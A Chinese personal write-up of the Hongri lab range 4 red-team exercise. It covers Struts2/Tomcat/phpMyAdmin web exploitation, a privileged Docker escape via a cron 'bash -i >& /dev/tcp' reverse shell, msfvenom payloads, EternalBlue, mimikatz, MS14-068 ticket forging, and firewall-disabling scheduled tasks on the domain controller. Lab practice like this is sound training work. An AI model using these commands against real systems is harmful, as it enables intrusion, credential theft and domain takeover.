当前位置: 首页 > news >正文

红日靶场(四)——个人笔记

环境搭建

机器密码:

WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008

需要俩个网卡 VMnet2和VMnet8
虚拟网络编辑器:外网网段为192.168.21.0/24 内网网段为192.168.183.0/24
image.png

DC:
image.png
这里开机提示密码过期,将密码改为Qwe@123
image.png

Web:
image.png
image.png

docker启动服务:

sudo docker start ec 17 09
docker ps
我这里后面测试2003端口 mysql拒绝连接
到vulhub/phpmyadmin/CVE-2018-12613这个目录下,先docker stop停止容器
之后docker-compose up -d
再docker ps,就可以看到mysql成功启动,之后就可以正常访问

Win7:
image.png
image.png

外网探测

信息收集

扫描网段存活ip,发现192.168.21.139

┌──(root㉿nuli)-[~]
└─# nmap -sn 192.168.21.0/24         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 16:28 CST
Nmap scan report for 192.168.21.1
Host is up (0.00043s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.21.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:F5:BC:DD (VMware)
Nmap scan report for 192.168.21.139
Host is up (0.00018s latency).
MAC Address: 00:0C:29:7D:1A:B0 (VMware)
Nmap scan report for 192.168.21.254
Host is up (0.00027s latency).
MAC Address: 00:50:56:F4:94:1C (VMware)
Nmap scan report for 192.168.21.134
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.32 seconds

扫描常见端口,发现只有22端口开放,全端口扫描:

┌──(root㉿nuli)-[~]
└─# nmap -sV -p 1-65535 192.168.21.139
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 16:34 CST
Nmap scan report for 192.168.21.139
Host is up (0.0073s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open  http    Jetty 9.2.11.v20150529
2002/tcp open  http    Apache Tomcat 8.5.19
2003/tcp open  http    Apache httpd 2.4.25
MAC Address: 00:0C:29:7D:1A:B0 (VMware)
Service Info: Host: 172.19.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现2001,2002,2003端口开放

2001:文件上传页面,Struts2框架
2002:Tomcat配置页面
2003:phpMyAdmin后台,且可无密码登录

打进入口机的三种方式:

Struts2漏洞获取shell:

使用Struts2漏洞检测工具检测
https://github.com/abc123info/Struts2VulsScanTools
漏洞存在,且权限为root
image.png

上传木马,msf监听

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.21.134 LPORT=4444 -f jsp > shell.jsp

image.png

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.21.134
exploit

image.png

Tomcat/8.5.19文件上传漏洞

2002端口是Tomcat配置页面
将GET改为PUT,漏洞可以利用
image.png
这里有过滤,可以"/"绕过
image.png

用godzilla生成java木马
image.png
上传成功
image.png

phpMyAdmin后台获取shell

phpMyAdmin 4.8.1 版本文件包含漏洞(CVE-2018-12613)

漏洞可造成任意文件读取:

http://192.168.21.140:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

利用漏洞构造任意命令执行:

CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo();?>");

利用cookie值构造payload:
执行后记录当前cookie:
image.png

1访问:

http://192.168.21.140:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_f75156327fdb0d76976af7e8015eeb57

image.png

写入一句话木马也是同样的方法。

内网探测

Docker逃逸

执行ifconfig:

/usr/local/tomcat/ >ifconfig
2>&1: 1: 2>&1: ifconfig: not found

查看根目录:ls -all /

/usr/local/tomcat/ >ls -all /total 60
drwxr-xr-x   1 root root 4096 Jan 24  2020 .
drwxr-xr-x   1 root root 4096 Jan 24  2020 ..
-rwxr-xr-x   1 root root    0 Jan 22  2020 .dockerenv
lrwxrwxrwx   1 root root    7 Jul 23  2017 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Jul 13  2017 boot
drwxr-xr-x  14 root root 3700 Oct  8 08:34 dev
lrwxrwxrwx   1 root root   33 Jul 24  2017 docker-java-home -> /usr/lib/jvm/java-8-openjdk-amd64
drwxr-xr-x   1 root root 4096 Jan 22  2020 etc
drwxr-x---   2 root root 4096 Jan 24  2020 hack
drwxr-xr-x   2 root root 4096 Jul 13  2017 home
lrwxrwxrwx   1 root root    7 Jul 23  2017 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jul 23  2017 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Jul 23  2017 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Jul 23  2017 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Jul 23  2017 media
drwxr-xr-x   2 root root 4096 Jul 23  2017 mnt
drwxr-xr-x   2 root root 4096 Jul 23  2017 opt
dr-xr-xr-x 285 root root    0 Oct  8 08:34 proc
drwx------   1 root root 4096 Jul 27  2017 root
drwxr-xr-x   1 root root 4096 Jul 23  2017 run
lrwxrwxrwx   1 root root    8 Jul 23  2017 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Jul 23  2017 srv
dr-xr-xr-x  13 root root    0 Oct  8 08:34 sys
drwxrwxrwt   1 root root 4096 Jul 31  2017 tmp
drwxr-xr-x   1 root root 4096 Jul 31  2017 usr
drwxr-xr-x   1 root root 4096 Jul 31  2017 var

2这里发现.dockerenv
此时我们在docker容器中,接下来进行docker逃逸。

privileged特权模式逃逸

Docker 的 --privileged参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。

在容器内部的时候,我们首先判断我们当前容器是否是特权模式。

cat /proc/self/status | grep CapEff- `cat /proc/self/status`​ 用于查看当前进程的状态信息。     ​
- `grep CapEff`​ 用于从输出结果中过滤出 CapEff 相关的行   ​
- `capability` ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

执行命令:

/usr/local/tomcat/ >cat /proc/self/status | grep CapEff
CapEff:	0000003fffffffff

一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。

之后查看分区情况:

fdisk -l

执行命令:

/usr/local/tomcat/ >fdisk -lDisk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00063af9Device     Boot    Start      End  Sectors Size Id Type
/dev/sda1  *        2048 16779263 16777216   8G 83 Linux
/dev/sda2       16781310 20969471  4188162   2G  5 Extended
/dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris

sda1就是宿主机的磁盘

之后把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了

mkdir /test
mount /dev/sda1 /test   #将宿主机磁盘挂载到test目录下。

这里有操作权限,写入定时任务:每隔一分钟定时反向连接攻击机

touch /test/test.sh
echo 'bash -i >& /dev/tcp/192.168.21.134/9898 0>&1' >/test/test.sh
echo '* * * * * root bash /test.sh' >> /test/etc/crontab

攻击机监听:

 nc -lvvp 9898

一分钟后拿到宿主机,且权限为root
image.png

ifconfig查看网络,发现内网网段为192.168.183.0/24

通过python -m http.server搭建的HTTP服务器将fscan传到宿主机中

内网信息收集

./fscan_amd64_1.6 -h 192.168.183.0/24
(icmp) Target '192.168.183.128' is alive
(icmp) Target '192.168.183.1' is alive
(icmp) Target '192.168.183.132' is alive
(icmp) Target '192.168.183.130' is alive
(icmp) Target '192.168.183.131' is alive

192.168.183.128和192.168.183.132是宿主机
192.168.183.130开放88端口(Kerberos协议,windows域环境认证),这是Windows Server 2008
192.168.183.131开放135、139、445端口。此为Windows 7 

关键漏洞:存在永恒之蓝

[+] 192.168.183.130     MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.183.131     MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)

横向移动

上线msf马

这里上线msf马,拿到meterpreter。
生成木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.21.134 LPORT=9999 -f elf > a.elf

msf监听端口:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.21.134
set LPORT 9999
exploit
执行msf马:
chmod +x a.elf
./a.elf

路由转发:

use multi/manage/autoroute
sessions  # 查询会话id
route add 192.168.183.0 255.255.255.0 1

永恒之蓝漏洞测试

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.183.131
exploit

但是这里一直无法成功,尝试内网穿透

内网穿透

使用earthworm搭建socks5反向代理

攻击机执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
- 在攻击机上启动一个反向连接监听(rcsocks 模式),本地监听端口 1080,并通过端口 1234 与靶机建立连接。靶机执行:
./ew_for_linux64 -s rssocks -d 192.168.21.134 -e 1234
- 在靶机上启动一个反向 SOCKS 代理(rssocks 模式),将靶机所在网络的流量通过端口 1234 转发到指定的攻击机 IP。

永恒之蓝漏洞测试:
(这里我设置监听端口为4444可拿到SYSTEM权限,设置其他拿到的只有douser权限)

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.131
set LPORT 8888
exploit

Win7成功:
image.png

这里进程不稳定,尝试进程迁移:

getpid  #获取当前pid
#选择一个稳定的进程:`explorer.exe`、`svchost.exe`、`winlogon.exe`
ps    #查看进程
migrate PID

尝试对域控测试永恒之蓝漏洞:
无法利用,进行域内信息收集。

域内信息收集

这里我们拿到shell后,输入chcp 65001,防止乱码。

C:\Windows\system32>net view
net view
Server Name            Remark
-------------------------------------------------------------------------------
\\TESTWIN7-PC                                                               
\\WIN-ENS2VR5TR3N                                                           
The command completed successfully.

域内的俩个主机,我们已经拿下TESTWIN7-PC。接下来就是拿到域控

Win7桌面上有mimikatz工具,可以抓取密码。

启用Debug权限报错:

mimikatz # privilege::debug ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

进行令牌窃取:

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

输出结果:

meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -uDelegation Tokens Available
========================================
DEMO\douser
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEMImpersonation Tokens Available
========================================
No tokens availablemeterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

再次利用mimikatz:

privilege::debug  # 启用Debug权限sekurlsa::logonpasswords # 读取明文密码

image.png
获取Win7密码,SID,域等。
桌面有MS14-068.exe,且目前有用户名,win7密码,SID。

MS14-068:

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

利用ms14-068生成票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
# ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

之后会在当前路径下生成一个名为 :TGT_douser@demo.com.ccache 的票据文件。
利用mimkatz导入票据

mimikatz # kerberos::purge         //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@demo.com.ccache   //将票据注入到内存中

image.png

查看当前时间,获取域控名:

C:\Users\douser\Desktop>net time /domain
net time /domain
Current time at \\WIN-ENS2VR5TR3N.demo.com is 2025/10/11 14:26:01The command completed successfully.

验证权限:查看域控C盘

dir \\WIN-ENS2VR5TR3N\c$

image.png

拿到域控

方法一:

msf生成木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=8888 -f exe > shell.exe

上传到Win7中,再传到域控:

meterpreter > upload ~/shell.exe
copy shell.exe \\WIN-ENS2VR5TR3N\c$

msf开启监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 8888
exploit

关闭防火墙并执行shell.exe

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" 
sc \\WIN-ENS2VR5TR3N start ProFirewall 
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\shell.exe" 
sc \\WIN-ENS2VR5TR3N start Startup创建一个服务关闭防火墙并执行shell.exe

拿到会话

方法二:

msf生成木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=8888 -f exe > shell.exe

上传到Win7中,再传到域控:

meterpreter > upload ~/shell.exe
copy shell.exe \\WIN-ENS2VR5TR3N\c$

创建计划任务执行shell.exe:

schtasks /create /S WIN-ENS2VR5TR3N /TN "test" /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f

msf开启监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 8888
exploit

这里防火墙拦截,创建一个任务关闭防火墙:

echo NetSh Advfirewall set allprofiles state off >> 1.batcopy 1.bat \\WIN-ENS2VR5TR3N\c$schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f

拿到会话

总结:
这里学到内容:

Struts2漏洞,Tomcat8.5.19文件上传漏洞,phpMyAdmin写shell。
内网部分:docker逃逸,永恒之蓝(CVE-2017-0144)漏洞,内网信息收集和内网穿透MS14-068域用户提取,伪造票据,设置计划任务:关闭防火墙,执行木马。注意的点:msf拿到会话不稳定,迁移进程。永恒之蓝漏洞设置端口为4444,端口为其他似乎拿不到SYSTEM权限这里设置计划任务关闭防火墙和执行木马更好用,细学一下这块。

参考文章:
ATT&CK实战系列-红队实战(四)-腾讯云开发者社区-腾讯云
ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户
ATT&CK红队评估(红日靶场4) - AgonySec - 博客园


  1. PHP会话:在 PHP 中,当启用会话(session_start())时,服务器会自动生成一个以 sess_ 为前缀、后跟会话 ID的文件,默认存储在 /tmp 目录(Linux 系统)。 ↩︎

  2. 解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。 ↩︎

http://www.dtcms.com/a/469782.html

相关文章:

  • b树,b+树,红黑树
  • win7 iis网站无法显示上海网站设计公司有哪些
  • 马来西亚代表团到访愿景娱乐 共探TikTok直播电商增长新路径
  • 唯识主义:哲学爱智慧本质的当代回归
  • 网站开发公司照片网站建设开发协议
  • 小网站模板网页传奇推荐
  • 支持400+格式!FileOptimizer文件一键压缩
  • 【Unity笔记】Unity Lighting Settings 全解析:一文读懂烘焙光照的每个参数(VR项目Lighting优化)
  • 全链路智能运维中的业务负载预测与弹性伸缩机制
  • 健康管理实训室建设方案:标准化构建与质量保障
  • 甘肃建设局网站wordpress获取文章来源
  • 超简洁网站网络软文营销
  • XXE 注入漏洞全解析:从原理到实战
  • edu div2 183个人笔记(目前只补到D,后续可能会更新)
  • MDK启动文件堆栈空间手动指定地址方法和验证
  • Leetcode每日一练--27
  • GNSS与单北斗变形监测一体机在基础设施安全中的应用分析
  • 西安网站建设公司排国外网站后台模板
  • 郑州网站顾问热狗网python的网站开发
  • Linux进程第十一讲——进程优先级的本质与Linux实现
  • Java Redis “持久化”面试清单(含超通俗生活案例与深度理解)
  • Linux一切皆文件的意义
  • 网站怎样建立数据库连接做网站公司职员工资
  • 【javascript】js使用技巧笔记
  • 复现嘉立创小项目之直流稳压电源
  • Kubernetes 之海,Go 之舟:避开那些吞噬性能的隐形暗礁
  • 基于独立成分分析(ICA)的图像分离技术实现
  • 网站建站如何做seo有免费的网站服务器吗
  • 使用LangChain创建智能Agent完整指南
  • 江苏省网站备案电话怎样做网站开发